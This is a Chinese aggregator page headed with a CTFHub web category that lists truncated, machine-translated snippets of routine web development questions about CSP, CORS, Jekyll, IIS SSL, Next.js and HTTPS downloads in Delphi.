本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CTFHUB-WEB 的相关文章

  • 使用内容安全策略防止 Internet Explorer 11 上的内联 JavaScript

    是否可以使用 ASP NET WebForm 上的 CSP 来阻止 Internet Explorer 11 上的内联 JavaScript 我知道 IE 11 不支持内容安全策略级别 2 但它支持级别 1 0 我尝试了很多方法 但没有明确
  • Jekyll 在子网站上生成静态网站?

    是否可以将 Jekyll 放在 GitHub 上托管的网站的单个部分上 即是否可以让 example github io 成为常规站点 而 example github io blog 由 Jekyll 静态生成 我相信可以通过创建另一个名
  • 对同一域发出 get 请求,出现 CORS 错误

    在浏览器扩展中 这是我的 ajax 调用 var xhr new XMLHttpRequest xhr open GET window location href true xhr responseType arraybuffer xhr
  • HTML if 语句在 CDN 失败时加载本地 JS/CSS

    当从 CDN 或任何外部服务器加载 CSS JS 文件时 有可能 即使概率很低 由于外部故障而丢失该文件 在这种情况下 html 页面将因缺乏适当的 CSS 和 JS 而被损坏 有没有一种实用的方法可以在 CDN 故障时加载本地版本 IF
  • 为什么要使用除 div 以外的任何东西? [关闭]

    就目前情况而言 这个问题不太适合我们的问答形式 我们希望答案得到事实 参考资料或专业知识的支持 但这个问题可能会引发辩论 争论 民意调查或扩展讨论 如果您觉得这个问题可以改进并可能重新开放 访问帮助中心 help reopen questi
  • Magento:设置刚刚创建的网站的配置值?

    我正在以编程方式创建网站 用户等 问题是 创建网站时 我无法立即设置配置值 Code
  • php 中的 stackoverflow 上有这样的成就系统吗? [关闭]

    Closed 这个问题需要多问focused help closed questions 目前不接受答案 从概念上讲 如何使用 PHP 和 MySQL 为网站编写一个成就系统 唯一真正的方法是不断执行 MySQL 查询来测试成绩等吗 您有两
  • C# 构建一个 webservice 方法,它接受 POST 方法,如 HttpWebRequest 方法

    我需要一个接受 POST 方法的 Web 服务 访问我的服务器正在使用 POST 方法 它向我发送了一个 xml 我应该用一些 xml 进行响应 另一方面 当我访问他时 我已经使用 HttpWebRequest 类进行了管理 并且工作正常
  • IIS 8 HTTPS/需要 SSL 导致超时错误

    尝试通过 IIS 8 通过 SSL 发布网站 但出现超时错误 任何帮助表示赞赏 采取的步骤 已验证该网站可以通过 HTTP 访问 http xxx xxx xxx xxx有效 此时使用 IP 地址 如果重要的话 IIS gt 服务器证书 g
  • 发送变量后的 wsdl 服务响应,php

    我是 SOAP WSDL 函数的新手 我有一位客户从一家从事汽车测试的公司获得了 wsdl 文件 我的客户是他们的分包商 他们告诉我们上传有关车牌 类别等信息 一旦详细信息发送完毕 服务器就会做出成功或失败的响应 请您协助 浏览不同的信息
  • wix 安装程序/创建网站并分配新的或现有的 Web 应用程序池

    我尝试使用 wix 安装创建一个新网站 没关系 没有问题 但我无法将新的或现有的网络应用程序池分配给新网站 iis website 标记不包含 WebAppPool 属性 我如何将网络应用程序池分配给网站 你可以在下面看到我的代码 感谢您的
  • 确定网站的唯一访问者

    我正在创建一个 django 网站 使用 Apache2 作为服务器 我需要一种方法来以完整的证据方式确定我的网站 特别是每个页面 的唯一访问者数量 不幸的是 用户会有很大的动机去尝试 玩弄 跟踪系统 所以我正在努力证明这一点 有什么办法可
  • 我想将我的 NEXT.js 项目链接到静态网站

    我有一个使用 HTML CSS 开发的网站 它是一个静态网站 但现在我使用 NEXT js 与 Strapi API 集成创建了一个博客项目 我的问题是如何将我的静态网站与我的 Next js 项目链接起来 我尝试使用链接标签 但没有用 i
  • 缩小 HTML、CSS 和 Javascript 是一个坏主意吗?

    维基百科定义缩小 http en wikipedia org wiki Minification 28programming 29 as 从源代码中删除所有不必要的字符而不改变其功能的过程 这些不必要的字符通常包括空格字符 换行符 注释 有
  • 允许匿名用户浏览样式和图像文件夹

    我正在编写一个 ASP NET Web 应用程序 我有一个登录屏幕 上面有一些 CSS 样式和图像 我遇到了样式和图像未显示的问题 我在网上阅读 它说我需要在 Content 文件夹中放置一个 web config 我将以下内容添加到 we
  • 有没有办法以编程方式下载网页的部分内容,而不是整个 HTML 正文?

    我们只需要 nytimes com technology 上的 HTML 文档中的特定元素 该页面包含许多文章 但我们只想要文章的标题 该标题位于 如果我们使用 wget cURL 或任何其他工具或某些包 例如Python 中的请求 htt
  • 仅当 url 以 www 为前缀时才会发生 CORS 错误

    我目前遇到一个关于 CORS 跨源资源共享 的问题 奇怪的是 只有当我使用 www url 前缀时 才会出现这种情况 例如 当我使用以下网址访问我的网站时 http example com index http example com in
  • 如何在Fiddler中显示请求发送时间和响应接收时间?

    我正在使用 Fiddler Web 调试器工具版本 4 4 4 8 我已经向例如提出了请求www google com 和 fiddler 显示发送了请求并收到了响应 我如何知道并显示请求何时发送以及何时收到响应 开始 结束日期不在 Fid
  • 在 Ruby 中创建带有静态页面的博客的最佳方法

    我刚刚访问了静态网站生成 http www ruby toolbox com categories static website generation html on 红宝石工具箱 http www ruby toolbox com 我不知
  • 如何在Delphi中下载一个非常简单的HTTPS页面?

    我尝试了在这里看到的代码 但它不适用于 HTTPS 我需要将此页面作为字符串下载 并在其上添加一些换行符 以便将信息按顺序放入 TMemo 中 怎么做 我尝试使用 Indy 但由于 SSL 问题而失败 我尝试了此页面的解决方案 如何将网页下

随机推荐